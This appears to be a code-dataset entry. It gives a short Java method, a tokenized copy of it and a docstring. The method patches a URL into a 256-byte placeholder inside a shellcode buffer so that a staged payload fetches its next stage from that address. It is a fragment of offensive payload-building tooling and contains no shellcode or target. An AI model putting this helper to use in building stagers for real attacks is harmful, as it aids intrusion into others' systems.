private byte[] writePkgUrl(byte[] stage,String url) throws UnsupportedEncodingException {
  byte[] pattern=new byte[256];
  Arrays.fill(pattern,(byte)0x78);
  List a=Arrays.asList(ArrayUtils.toObject(stage));
  List b=Arrays.asList(ArrayUtils.toObject(pattern));
  int idx=Collections.indexOfSubList(a,b);
  byte[] urlArray=url.getBytes("UTF-8");
  System.arraycopy(urlArray,0,stage,idx,urlArray.length);
  Arrays.fill(stage,idx + urlArray.length,idx + 256,(byte)0x0);
  return stage;
}

private byte [ ] writePkgUrl ( byte [ ] stage , String url ) throws UnsupportedEncodingException { byte [ ] pattern = new byte [ 256 ] ; Arrays . fill ( pattern , ( byte ) 0x78 ) ; List a = Arrays . asList ( ArrayUtils . toObject ( stage ) ) ; List b = Arrays . asList ( ArrayUtils . toObject ( pattern ) ) ; int idx = Collections . indexOfSubList ( a , b ) ; byte [ ] urlArray = url . getBytes ( "UTF-8" ) ; System . arraycopy ( urlArray , 0 , stage , idx , urlArray . length ) ; Arrays . fill ( stage , idx + urlArray . length , idx + 256 , ( byte ) 0x0 ) ; return stage ; }
write the url to fetch the next stage into the shellcode
